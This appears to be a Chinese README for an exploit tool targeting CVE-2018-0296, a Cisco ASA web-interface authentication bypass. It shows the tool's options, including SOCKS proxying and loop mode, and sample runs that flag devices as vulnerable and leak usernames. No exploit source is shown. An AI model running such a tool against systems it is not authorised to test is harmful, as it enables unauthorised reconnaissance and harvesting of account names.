测试 CVE-2018-0296 并从 Cisco ASA 中提取用户名。
更多技术细节请参考 https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/。
#帮助菜单
$ ./CVE-2018-0296 -h
选项:
-h, --help 显示帮助信息
-u, --url 目标设备 URL
-i Socks 代理 IP
-p Socks 代理端口
-t, --time 每次循环之间休眠的秒数
--loop 循环模式
#使用指南
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [存在漏洞]
[*] 找到的用户名
testuser1
$ ./CVE-2018-0296 -u https://www.yahoo.com:443
[*] 正在检查: https://www.yahoo.com
[+] https://www.yahoo.com [不是 Cisco VPN]
$ ./CVE-2018-0296 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x
[+] https://x.x.x.x [Cisco VPN]
[+] https://x.x.x.x [存在漏洞]
[*] 未找到用户名
$ ./CVE-2018-0296 -i 127.0.0.1 -p 10000 --loop 10 -u https://x.x.x.x:443
[*] 正在检查: https://x.x.x.x:443
[+] https://x.x.x.x:443 [Cisco VPN]
[+] https://x.x.x.x:443 [存在漏洞]
[*] 找到的用户名
testuser1